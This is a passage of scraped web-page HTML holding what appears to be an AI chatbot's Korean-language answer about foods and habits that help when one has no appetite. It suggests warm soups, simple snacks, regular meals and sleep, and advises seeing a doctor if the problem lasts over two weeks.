_ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="향긋한 파스타 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn3.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcRZqI-rwPG-LZj2F7QP0fPpcX2TIl_FVLU-0o5zXo0QpMBEIorFP56o4m0HkHPV"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s://.10000recipe.com/recipe/6997791" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcRY0BsXokUpLeFLwK3N0hQMKboeTAwfQDjBp1wn6x2M9oPxToCdaIt2FUHt1BztF-Y23CRziOW0gTEFuwl5TvUYdjsAE7t28VGwUA4mew"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.10000recipe.com</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 향긋한 파스타 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="28:1-30:19"><strong>따뜻한 국물:</strong> <ul data-sourcepos="29:5-30:19"> <li data-sourcepos="29:5-30:19">미역국, 된장찌개 등 따뜻한 국물은 속을 편안하게 해주고 소화를 돕습니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://mblogthumb-phinf.pstatic.net/MjAxNzEwMjRfMTE5/MDAxNTA4ODQ0MjQzMTA0.I5Kv8T4FlAobG496sK4hiLXg_t93LVGo9mqY4bqbVccg.DE70f3L_Rpbtb19BWaqM1HGIlBAYDxPQGvLL-A4MdScg.JPEG.kiti817/18_copy.jpg?type=w800"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" aria-live="polite" class="image-source-link ng-star-inserted" _nghost-ng-c1459295448="" jslog="181501;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true" s:///kiti817/221126683553"><span _ngcontent-ng-c1459295448="" data-test-id="content" class="ng-star-inserted"><img _ngcontent-ng-c3375744469="" class="image loaded" alt="따뜻한 된장찌개 " src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2Fimages%3Fq%3Dtbn%3AANd9GcQLu5OKygZlrXnvtctcZwY6ifoWmRCDHT8XSVT4lZHH4RLZDvP81KO5feuzsNXx"></span><span _ngcontent-ng-c1459295448="" class="cdk-visually-hidden ng-star-inserted"></span></a><a _ngcontent-ng-c3375744469="" rel="noopener" class="source ng-star-inserted" s:///kiti817/221126683553" jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn2.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcTViklUu2Q6xWngyOg6zlKlvux97ddTBiMXDHaIs-c9b7PstL5WFmM-nu_BuAhiewe1c30sTXVMmMbzoJ4yN0bMcPSsO-ypXYs"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt"></span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 따뜻한 된장찌개 </div></div></single-image></response-element></div></li> </ul> </li> <li data-sourcepos="31:1-34:0"><strong>간단한 간식:</strong> <ul data-sourcepos="32:5-34:0"> <li data-sourcepos="32:5-34:0">과일, 요거트, 견과류 등 간단한 간식은 허기를 달래고 영양을 보충해줍니다.<div class="attachment-container search-images"><response-element class="" ng-version="0.0.0-PLACEHOLDER"><single-image _nghost-ng-c3375744469="" class="ng-star-inserted"><div _ngcontent-ng-c3375744469="" class="image-container ng-star-inserted" data-full-size-image-uri="https://.nutsandberries.co.kr/shopimages/treenut/075000000034.jpg?1316501668"><div _ngcontent-ng-c3375744469="" class="overlay-container ng-star-inserted"><a _ngcontent-ng-c3375744469="" rel="noopener" externallink="" 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jslog="182483;track:generic_click,impression;BardVeMetadataKey:[["r_d776b4c492cdd20c","c_5e57109094b40bab",null,"rc_fd2cc54e8a06a8a6",null,null,"ko",null,null,null,null,1,0]];mutable:true"><img _ngcontent-ng-c3375744469="" alt="" class=" ng-star-inserted" src="https://img1.daumcdn.net/relay/cafe/original/?fname=https%3A%2F%2Fencrypted-tbn0.gstatic.com%2F-tbn%3Fq%3Dtbn%3AANd9GcQcg4F7HBpRnP6Bw0Rzb7XJjfEU9AAXAFM_RCk3cWW7Upj7_4lhQ9QFv2y86rUfe-qQEI5cxWT5oA5XEX2bgrfaNwAxsG9nP9z3iGuFfvrriTAD"><span _ngcontent-ng-c3375744469="" class="label ellipsis gds-label-m-alt">.nutsandberries.co.kr</span><span _ngcontent-ng-c3375744469="" aria-label=""></span></a></div><div _ngcontent-ng-c3375744469="" aria-hidden="true" class="caption ellipsis gds-label-m-alt ng-star-inserted"> 과일 요거트 견과류 </div></div></single-image></response-element></div></li> </ul> </li> </ul><p data-sourcepos="35:1-35:24"><strong>입맛 없을 때 도움이 되는 생활 습관</strong></p><ul data-sourcepos="37:1-41:0"> <li data-sourcepos="37:1-37:55"><strong>규칙적인 식사:</strong> 정해진 시간에 식사를 하면 몸이 식사 시간을 기억하고 식욕이 증가합니다.</li> <li data-sourcepos="38:1-38:58"><strong>충분한 수면:</strong> 수면 부족은 식욕 부진을 유발할 수 있으므로 충분히 잠을 자는 것이 중요합니다.</li> <li data-sourcepos="39:1-39:49"><strong>스트레스 관리:</strong> 명상, 요가 등 스트레스 해소에 도움이 되는 활동을 해보세요.</li> <li data-sourcepos="40:1-41:0"><strong>적절한 운동:</strong> 가벼운 운동은 신체 활동을 증가시켜 식욕을 촉진합니다.</li> </ul><p data-sourcepos="42:1-42:8"><strong>주의사항</strong></p><ul data-sourcepos="44:1-46:0"> <li data-sourcepos="44:1-44:46">입맛이 없음이 2주 이상 지속된다면 병원을 방문하여 진찰을 받는 것이 좋습니다.</li> <li data-sourcepos="45:1-46:0">너무 자극적인 음식은 위에 부담을 줄 수 있으므로 주의해야 합니다.</li> </ul><p data-sourcepos="47:1-47:21"><strong>다양한 음식을 시도해 보세요!</strong></p><p data-sourcepos="49:1-50:30">입맛이 없을 때는 다양한 음식을 조금씩 자주 먹는 것이 좋습니다. 새로운 음식에 도전하며 즐거운 식사 시간을 보내세요!</p><p data-sourcepos="52:1-52:28"><strong>궁금한 점이 있다면 언제든지 질문해주세요.</strong></p></div> </div></div>